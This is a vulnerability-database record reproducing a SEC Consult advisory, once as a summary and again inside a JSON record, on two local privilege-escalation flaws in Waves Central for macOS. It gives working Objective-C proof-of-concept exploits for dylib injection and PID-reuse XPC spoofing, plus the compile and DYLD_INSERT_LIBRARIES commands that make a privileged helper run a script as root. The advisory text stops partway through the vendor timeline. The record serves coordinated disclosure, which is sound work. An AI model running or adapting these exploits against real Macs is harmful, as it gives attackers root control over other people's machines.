GCVE-1988-2026-0364

Vulnerability from gna-1988 – Published: 2026-09-11 07:55 – Updated: 2026-09-11 11:30
VLAI
Title
SEC Consult SA-20260609-0 :: Multiple Local Privilege Escalation Vulnerabilities in Waves Audio - Waves Central
Summary
SEC Consult Vulnerability Lab Security Advisory < 20260609-0 > ======================================================================= title: Multiple Local Privilege Escalation Vulnerabilities product: Waves Audio - Waves Central vulnerable version: v13.0.8 - v16.6.0       fixed version: v16.6.2          CVE number: CVE-2026-24064, CVE-2026-24065              impact: high homepage:https://www.waves.com               found: 2026-01-07 by: Florian Haselsteiner (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Atos business Europe | Asia https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "Waves is the world’s leading developer of audio plugins and signal processors for the professional and consumer electronics audio markets. Heard on hit records, major motion pictures, and popular video games worldwide, Waves’ cutting-edge software and hardware processors are used in every aspect of audio production, from tracking to mixing to mastering, broadcast, live sound, and more. Waves offers Native and SoundGrid audio plugins in VST, TDM, RTAS, and AU formats for Pro Tools, Logic, Cubase, Ableton and other popular hosts." Source:https://www.waves.com/about-us Business recommendation: ------------------------ The vendor provides a patch which should be installed immediately. SEC Consult highly recommends to perform a thorough security review of the product conducted by security professionals to identify and resolve potential further security issues. Vulnerability overview/description: ----------------------------------- 1) Local Privilege Escalation via DYLIB Injection (CVE-2026-24064) Waves Central provides a "PrivilegedHelperTool" during installation. It uses the "InstlHelperApplication" located at the following path to connect to the privileged helper tool via XPC: /Applications/Waves\ Central.app/Contents/Resources/res/external/bin/InstlHelperApplication.app/Contents/MacOS/ It was found that the "InstlHelperApplication" was signed with the entitlements "com.apple.security.cs.allow-dyld-environment-variables" and "com.apple.security.cs.disable-library-validation" which together allow to inject unsigned libraries into the process and therefore inheriting the code signature. ---------------------------------------------------------------------- % codesign -dvv --entitlements - /Applications/Waves\ Central.app/Contents/Resources/res/external/bin/InstlHelperApplication.app/Contents/MacOS/InstlHelperApplication Executable=/Applications/Waves Central.app/Contents/Resources/res/external/bin/InstlHelperApplication.app/Contents/MacOS/InstlHelperApplication Identifier=com.waves.central.InstlHelperApplication Format=app bundle with Mach-O universal (x86_64 arm64) CodeDirectory v=20500 size=1684 flags=0x10000(runtime) hashes=41+7 location=embedded Signature size=8956 Authority=Developer ID Application: Waves Inc (GT6E3XD798) Authority=Developer ID Certification Authority Authority=Apple Root CA Timestamp=12.02.2023 at 19:37:53 Info.plist entries=32 TeamIdentifier=GT6E3XD798 Runtime Version=11.1.0 Sealed Resources version=2 rules=13 files=5 Internal requirements count=1 size=200 [Dict] [Key] com.apple.security.inherit [Value] [Bool] true [Key] com.apple.security.network.client [Value] [Bool] true [Key] com.apple.security.network.server [Value] [Bool] true [Key] com.apple.security.files.bookmarks.app-scope [Value] [Bool] true [Key] com.apple.security.cs.disable-library-validation [Value] [Bool] true [Key] com.apple.security.files.bookmarks.document-scope [Value] [Bool] true [Key] com.apple.security.files.user-selected.read-write [Value] [Bool] true [Key] com.apple.security.personal-information.addressbook [Value] [Bool] true [Key] com.apple.security.cs.allow-dyld-environment-variables [Value] [Bool] true [Key] com.apple.security.cs.allow-unsigned-executable-memory [Value] [Bool] true [Key] com.apple.security.cs.disable-executable-page-protection [Value] [Bool] true ---------------------------------------------------------------------- By inheriting the code signature an attacker, who injects a malicious library into the application, is able to abuse the signature of the InstlHelperApplication to connect to the privileged helper tool via its exposed mach service "com.waves.central.InstlHelper". 2) Local Privilege Escalation via Insecure XPC Client Validation (CVE-2026-24065) It was found that the XPC service "com.waves.central.InstlHelper", offered by the privileged helper, uses the connecting client's PID to check its code signature. This is insecure and can be attacked using a PID reuse attack, which will trick the service into thinking the connecting client has a valid code signature. Proof of concept: ----------------- 1) Local Privilege Escalation via DYLIB Injection (CVE-2026-24064) The attacker can abuse the function "executeIrlFileWithPath" offered by the privileged helper to get code execution as root. To demonstrate this the following dynamic library has been developed. After loading the library, "executeIrlFileWithPath" is triggered to execute /tmp/lol which is basically a shell script: ---------------------------------------------------------------------- #import <Foundation/Foundation.h> //gcc -dynamiclib name #include <stdio.h> @protocol HelperProtocol - (void)getVersionWithCompletion:(void (^)(id version))completion; - (void)executeIrlFileWithPath:(NSString *)filePath homeDir:(NSString *)homeDir asUser:(id)asUser completion:(void (^)(id result))completion; //executeIrlFile(withPath: Swift.String, homeDir: Swift.String, asUser: Swift.String, authData: __C.NSData?, completion: (__C.NSNumber) -> ()) -> () @end __attribute__((constructor)) static void myconstructor(int argc, const char **argv) { NSXPCConnection *conn = [[NSXPCConnection alloc] initWithMachServiceName:@"com.waves.central.InstlHelper" options:NSXPCConnectionPrivileged]; conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperProtocol)]; [conn resume]; id<HelperProtocol> proxy = [conn remoteObjectProxyWithErrorHandler:^(NSError *error) { NSLog(@"XPC error: %@", error); }]; [proxy getVersionWithCompletion:^(id version) { NSLog(@"Version: %@", version); }]; [proxy executeIrlFileWithPath:@"/tmp/lol" homeDir:@"/tmp" asUser:@"root" completion:^(id result){ NSLog(@"Execution result: %@", result);}]; [[NSRunLoop currentRunLoop] run]; ---------------------------------------------------------------------- This code can be compiled using the following command: clang -o waves_exploit.dylib -dynamiclib -framework Foundation waves_exploit.mm After loading the library, /tmp/lol is created as described above: cat /tmp/lol /bin/bash -c "touch /etc/pwnedbytmp" It can then be loaded into the injectable XPC client InstlHelperApplication: DYLD_INSERT_LIBRARIES=/Users/user/Desktop/waves_exploit.dylib /Applications/Waves\ Central.app/Contents/Resources/res/external/bin/InstlHelperApplication.app/Contents/MacOS/InstlHelperApplication 2) Local Privilege Escalation via Insecure XPC Client Validation (CVE-2026-24065) To exploit this issue an attacker can abuse the insecure client validation via PID to gain access to the corresponding NSXPC functions via XPC. The "executeIrlFileWithPath" function can be exploited to gain code execution as root. The following Objective C PoC code was created: ---------------------------------------------------------------------- #import <Foundation/Foundation.h> #include <spawn.h> #include <sys/stat.h> #define RACE_COUNT 32 #define BINARY "/Applications/Waves Central.app/Contents/Resources/res/external/bin/InstlHelperApplication.app/Contents/MacOS/InstlHelperApplication" // allow fork() between exec() asm(".section __DATA,__objc_fork_ok\n" "empty:\n" ".no_dead_strip empty\n"); extern char **environ; @protocol HelperProtocol - (void)getVersionWithCompletion:(void (^)(id version))completion; - (void)executeIrlFileWithPath:(NSString *)filePath homeDir:(NSString *)homeDir asUser:(id)asUser completion:(void (^)(id result))completion; @end void child() { // send the XPC messages NSXPCConnection *conn = [[NSXPCConnection alloc] initWithMachServiceName:@"com.waves.central.InstlHelper" options:NSXPCConnectionPrivileged]; conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperProtocol)]; [conn resume]; id<HelperProtocol> proxy = [conn remoteObjectProxyWithErrorHandler:^(NSError *error) { NSLog(@"XPC error: %@", error); }]; [proxy getVersionWithCompletion:^(id version) { NSLog(@"Version: %@", version); }]; [proxy executeIrlFileWithPath:@"/tmp/lol" homeDir:@"/tmp" asUser:@"root" completion:^(id result){ NSLog(@"Execution result: %@", result);}]; char target_binary[] = BINARY; char *target_argv[] = {target_binary, NULL}; posix_spawnattr_t attr; posix_spawnattr_init(&attr); short flags; posix_spawnattr_getflags(&attr, &flags); flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED); posix_spawnattr_setflags(&attr, flags); posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ); } bool create_nstasks() { NSString *exec = [[NSBundle mainBundle] executablePath]; NSTask *processes[RACE_COUNT]; for (int i = 0; i < RACE_COUNT; i++) { processes[i] = [NSTask launchedTaskWithLaunchPath:exec arguments:@[ @"imanstask" ]]; } int i = 0; struct timespec ts = { .tv_sec = 0, .tv_nsec = 500 * 1000000, }; nanosleep(&ts, NULL); if (++i > 4) { for (int i = 0; i < RACE_COUNT; i++) { [processes[i] terminate]; } return false; } return true; } int main(int argc, const char * argv[]) { if(argc > 1) { // called from the NSTasks child(); } else { NSLog(@"Starting the race"); create_nstasks(); } return 0; } ---------------------------------------------------------------------- This can be compiled using gcc with the following command: gcc -o exploit_waves_pid -framework Foundation exploit_pid.m After creating the file /tmp/lol accordingly the binary can be run and the helper will execute /tmp/lol as root. Vulnerable / tested versions: ----------------------------- The following version has been tested which was the latest version available at the time of the test: * 16.1.6.244088 Vendor contact timeline: ------------------------ 2026-01-21: Contacting vendor throughhttps://www.waves.com/contact-us 2026-01-22: Response by vendor, stating they will provide PGP keys for encrypted communication as well as dedicated security email address. 2026-01-27: Asking for the encryption details. 2026-01-28: Vendor provides PGP key. 2026-01-29: Submitting encrypted advisory to vendor. 2026-02-04: Vendor had troubles decrypting the advisory. It was sent unencrypted upon request. 2026-02-18: Ven
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 556 records in the last 180 days details
References
Impacted products
Vendor Product Version CPE status
Waves Audio - Waves Central Affected: unknown
guessed Create a notification for this product.
Credits
SEC Consult Vulnerability Lab via Fulldisclosure
Relationships
analysis GCVE-1988-2026-0364 (this record)
To clipboard 

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Audio - Waves Central",
          "vendor": "Waves",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "SEC Consult Vulnerability Lab via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20260609-0 \u003e\n=======================================================================\n              title: Multiple Local Privilege Escalation Vulnerabilities\n            product: Waves Audio - Waves Central\n vulnerable version: v13.0.8 - v16.6.0\n\u00a0 \u00a0 \u00a0 fixed version: v16.6.2\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0CVE number: CVE-2026-24064, CVE-2026-24065\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0impact: high\n           homepage:https://www.waves.com\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 found: 2026-01-07\n                 by: Florian Haselsteiner (Office Vienna)\n                     SEC Consult Vulnerability Lab\n\n                     An integrated part of SEC Consult, an Atos business\n                     Europe | Asia\n\n                     https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"Waves is the world\u2019s leading developer of audio plugins and signal processors\nfor the professional and consumer electronics audio markets. Heard on hit\nrecords, major motion pictures, and popular video games worldwide, Waves\u2019\ncutting-edge software and hardware processors are used in every aspect of\naudio production, from tracking to mixing to mastering, broadcast, live sound,\nand more. Waves offers Native and SoundGrid audio plugins in VST, TDM, RTAS,\nand AU formats for Pro Tools, Logic, Cubase, Ableton and other popular hosts.\"\n\nSource:https://www.waves.com/about-us\n\n\nBusiness recommendation:\n------------------------\nThe vendor provides a patch which should be installed immediately.\n\nSEC Consult highly recommends to perform a thorough security review of the product\nconducted by security professionals to identify and resolve potential further\nsecurity issues.\n\n\nVulnerability overview/description:\n-----------------------------------\n1) Local Privilege Escalation via DYLIB Injection (CVE-2026-24064)\nWaves Central provides a \"PrivilegedHelperTool\" during installation.\nIt uses the \"InstlHelperApplication\" located at the following path\nto connect to the privileged helper tool via XPC:\n/Applications/Waves\\ Central.app/Contents/Resources/res/external/bin/InstlHelperApplication.app/Contents/MacOS/\n\nIt was found that the \"InstlHelperApplication\" was signed with the\nentitlements \"com.apple.security.cs.allow-dyld-environment-variables\" and\n\"com.apple.security.cs.disable-library-validation\" which together allow to inject\nunsigned libraries into the process and therefore inheriting the code signature.\n\n----------------------------------------------------------------------\n% codesign -dvv --entitlements -  /Applications/Waves\\ \nCentral.app/Contents/Resources/res/external/bin/InstlHelperApplication.app/Contents/MacOS/InstlHelperApplication\nExecutable=/Applications/Waves \nCentral.app/Contents/Resources/res/external/bin/InstlHelperApplication.app/Contents/MacOS/InstlHelperApplication\nIdentifier=com.waves.central.InstlHelperApplication\nFormat=app bundle with Mach-O universal (x86_64 arm64)\nCodeDirectory v=20500 size=1684 flags=0x10000(runtime) hashes=41+7 location=embedded\nSignature size=8956\nAuthority=Developer ID Application: Waves Inc (GT6E3XD798)\nAuthority=Developer ID Certification Authority\nAuthority=Apple Root CA\nTimestamp=12.02.2023 at 19:37:53\nInfo.plist entries=32\nTeamIdentifier=GT6E3XD798\nRuntime Version=11.1.0\nSealed Resources version=2 rules=13 files=5\nInternal requirements count=1 size=200\n[Dict]\n        [Key] com.apple.security.inherit\n        [Value]\n                [Bool] true\n        [Key] com.apple.security.network.client\n        [Value]\n                [Bool] true\n        [Key] com.apple.security.network.server\n        [Value]\n                [Bool] true\n        [Key] com.apple.security.files.bookmarks.app-scope\n        [Value]\n                [Bool] true\n        [Key] com.apple.security.cs.disable-library-validation\n        [Value]\n                [Bool] true\n        [Key] com.apple.security.files.bookmarks.document-scope\n        [Value]\n                [Bool] true\n        [Key] com.apple.security.files.user-selected.read-write\n        [Value]\n                [Bool] true\n        [Key] com.apple.security.personal-information.addressbook\n        [Value]\n                [Bool] true\n        [Key] com.apple.security.cs.allow-dyld-environment-variables\n        [Value]\n                [Bool] true\n        [Key] com.apple.security.cs.allow-unsigned-executable-memory\n        [Value]\n                [Bool] true\n        [Key] com.apple.security.cs.disable-executable-page-protection\n        [Value]\n                [Bool] true\n----------------------------------------------------------------------\nBy inheriting the code signature an attacker, who injects a malicious\nlibrary into the application, is able to abuse the signature of the\nInstlHelperApplication to connect to the privileged helper tool via\nits exposed mach service \"com.waves.central.InstlHelper\".\n\n\n2) Local Privilege Escalation via Insecure XPC Client Validation (CVE-2026-24065)\nIt was found that the XPC service \"com.waves.central.InstlHelper\", offered\nby the privileged helper, uses the connecting client\u0027s PID to check its\ncode signature. This is insecure and can be attacked using a PID reuse\nattack, which will trick the service into thinking the connecting client\nhas a valid code signature.\n\n\nProof of concept:\n-----------------\n1) Local Privilege Escalation via DYLIB Injection (CVE-2026-24064)\nThe attacker can abuse the function \"executeIrlFileWithPath\" offered by\nthe privileged helper to get code execution as root.\nTo demonstrate this the following dynamic library has been developed.\nAfter loading the library, \"executeIrlFileWithPath\" is triggered\nto execute /tmp/lol which is basically a shell script:\n\n----------------------------------------------------------------------\n#import \u003cFoundation/Foundation.h\u003e\n//gcc -dynamiclib name\n#include \u003cstdio.h\u003e\n@protocol HelperProtocol\n\n- (void)getVersionWithCompletion:(void (^)(id version))completion;\n- (void)executeIrlFileWithPath:(NSString *)filePath\n                       homeDir:(NSString *)homeDir\n                        asUser:(id)asUser\n                    completion:(void (^)(id result))completion;\n\n//executeIrlFile(withPath: Swift.String, homeDir: Swift.String, asUser: Swift.String, authData: __C.NSData?, completion: \n(__C.NSNumber) -\u003e ()) -\u003e ()\n\n@end\n\n__attribute__((constructor))\nstatic void myconstructor(int argc, const char **argv)\n{\n        \n    NSXPCConnection *conn =\n        [[NSXPCConnection alloc]\n            initWithMachServiceName:@\"com.waves.central.InstlHelper\"\n            options:NSXPCConnectionPrivileged];\n\n    conn.remoteObjectInterface =\n        [NSXPCInterface interfaceWithProtocol:@protocol(HelperProtocol)];\n\n    [conn resume];\n\n    id\u003cHelperProtocol\u003e proxy =\n        [conn remoteObjectProxyWithErrorHandler:^(NSError *error) {\n            NSLog(@\"XPC error: %@\", error);\n        }];\n\n    [proxy getVersionWithCompletion:^(id version) {\n        NSLog(@\"Version: %@\", version);\n    }];\n    [proxy executeIrlFileWithPath:@\"/tmp/lol\"\n                       homeDir:@\"/tmp\"\n                        asUser:@\"root\"\n                    completion:^(id result){\n                        NSLog(@\"Execution result: %@\", result);}];\n        [[NSRunLoop currentRunLoop] run];\n\n----------------------------------------------------------------------\n\nThis code can be compiled using the following command:\nclang -o waves_exploit.dylib -dynamiclib -framework Foundation waves_exploit.mm\n\nAfter loading the library, /tmp/lol is created as described above:\ncat /tmp/lol\n/bin/bash -c \"touch /etc/pwnedbytmp\"\n\nIt can then be loaded into the injectable XPC client InstlHelperApplication:\n\nDYLD_INSERT_LIBRARIES=/Users/user/Desktop/waves_exploit.dylib /Applications/Waves\\ \nCentral.app/Contents/Resources/res/external/bin/InstlHelperApplication.app/Contents/MacOS/InstlHelperApplication\n\n\n2) Local Privilege Escalation via Insecure XPC Client Validation (CVE-2026-24065)\nTo exploit this issue an attacker can abuse the insecure client validation via\nPID to gain access to the corresponding NSXPC functions via XPC.\nThe \"executeIrlFileWithPath\" function can be exploited to gain code execution\nas root. The following Objective C PoC code was created:\n\n----------------------------------------------------------------------\n#import \u003cFoundation/Foundation.h\u003e\n#include \u003cspawn.h\u003e\n#include \u003csys/stat.h\u003e\n\n#define RACE_COUNT 32\n#define BINARY \"/Applications/Waves \nCentral.app/Contents/Resources/res/external/bin/InstlHelperApplication.app/Contents/MacOS/InstlHelperApplication\"\n\n// allow fork() between exec()\nasm(\".section __DATA,__objc_fork_ok\\n\"\n\"empty:\\n\"\n\".no_dead_strip empty\\n\");\n\nextern char **environ;\n\n@protocol HelperProtocol\n\n- (void)getVersionWithCompletion:(void (^)(id version))completion;\n- (void)executeIrlFileWithPath:(NSString *)filePath\n                       homeDir:(NSString *)homeDir\n                        asUser:(id)asUser\n                    completion:(void (^)(id result))completion;\n@end\n\nvoid child() {\n\n    // send the XPC messages\n    NSXPCConnection *conn =\n        [[NSXPCConnection alloc]\n            initWithMachServiceName:@\"com.waves.central.InstlHelper\"\n            options:NSXPCConnectionPrivileged];\n\n    conn.remoteObjectInterface =\n        [NSXPCInterface interfaceWithProtocol:@protocol(HelperProtocol)];\n\n    [conn resume];\n\n    id\u003cHelperProtocol\u003e proxy =\n        [conn remoteObjectProxyWithErrorHandler:^(NSError *error) {\n            NSLog(@\"XPC error: %@\", error);\n        }];\n\n    [proxy getVersionWithCompletion:^(id version) {\n        NSLog(@\"Version: %@\", version);\n    }];\n    [proxy executeIrlFileWithPath:@\"/tmp/lol\"\n                       homeDir:@\"/tmp\"\n                        asUser:@\"root\"\n                    completion:^(id result){\n                        NSLog(@\"Execution result: %@\", result);}];\n\n    char target_binary[] = BINARY;\n    char *target_argv[] = {target_binary, NULL};\n    posix_spawnattr_t attr;\n    posix_spawnattr_init(\u0026attr);\n    short flags;\n    posix_spawnattr_getflags(\u0026attr, \u0026flags);\n    flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);\n    posix_spawnattr_setflags(\u0026attr, flags);\n    posix_spawn(NULL, target_binary, NULL, \u0026attr, target_argv, environ);\n}\n\nbool create_nstasks() {\n\n    NSString *exec = [[NSBundle mainBundle] executablePath];\n    NSTask *processes[RACE_COUNT];\n\n    for (int i = 0; i \u003c RACE_COUNT; i++) {\n        processes[i] = [NSTask launchedTaskWithLaunchPath:exec arguments:@[ @\"imanstask\" ]];\n    }\n\n    int i = 0;\n    struct timespec ts = {\n        .tv_sec = 0,\n        .tv_nsec = 500 * 1000000,\n    };\n\n    nanosleep(\u0026ts, NULL);\n    if (++i \u003e 4) {\n        for (int i = 0; i \u003c RACE_COUNT; i++) {\n            [processes[i] terminate];\n        }\n        return false;\n    }\n\n    return true;\n}\n\nint main(int argc, const char * argv[]) {\n\n    if(argc \u003e 1) {\n    // called from the NSTasks\n        child();\n\n    } else {\n        NSLog(@\"Starting the race\");\n        create_nstasks();\n    }\n\n    return 0;\n}\n----------------------------------------------------------------------\n\nThis can be compiled using gcc with the following command:\ngcc -o exploit_waves_pid -framework Foundation exploit_pid.m\n\nAfter creating the file /tmp/lol accordingly the binary can be run and the\nhelper will execute /tmp/lol as root.\n\n\nVulnerable / tested versions:\n-----------------------------\nThe following version has been tested which was the latest version available\nat the time of the test:\n* 16.1.6.244088\n\n\nVendor contact timeline:\n------------------------\n2026-01-21: Contacting vendor throughhttps://www.waves.com/contact-us\n2026-01-22: Response by vendor, stating they will provide PGP keys for encrypted\n            communication as well as dedicated security email address.\n2026-01-27: Asking for the encryption details.\n2026-01-28: Vendor provides PGP key.\n2026-01-29: Submitting encrypted advisory to vendor.\n2026-02-04: Vendor had troubles decrypting the advisory. It was sent unencrypted\n            upon request.\n2026-02-18: Ven"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T11:30:12Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jun/6"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jun/6"
        },
        {
          "url": "https://blog.sec-consult.com"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://sec-consult.com/career/"
        },
        {
          "url": "https://sec-consult.com/contact/"
        },
        {
          "url": "https://sec-consult.com/vulnerability-lab/"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.sec-consult.com"
        },
        {
          "url": "https://www.waves.com"
        },
        {
          "url": "https://www.waves.com/about-us"
        },
        {
          "url": "https://www.waves.com/contact-us"
        },
        {
          "url": "https://www.waves.com/downloads/central"
        },
        {
          "url": "https://x.com/sec_consult"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jun/6"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "SEC Consult SA-20260609-0 :: Multiple Local Privilege Escalation Vulnerabilities in Waves Audio - Waves Central",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2026-24064",
              "type": "related"
            },
            {
              "destId": "CVE-2026-24065",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0364",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jun/6",
            "automated": true,
            "contentSha256": "a7eb0019ad78c21843df53cc6f5258f488de744f24b3dfb2adbfac8a6c798f2d",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jun/6",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-06-09T06:50:33Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0364"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-11T07:55:58Z",
    "dateUpdated": "2026-09-11T11:30:12Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0364"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.




Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Loading timeline…




    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.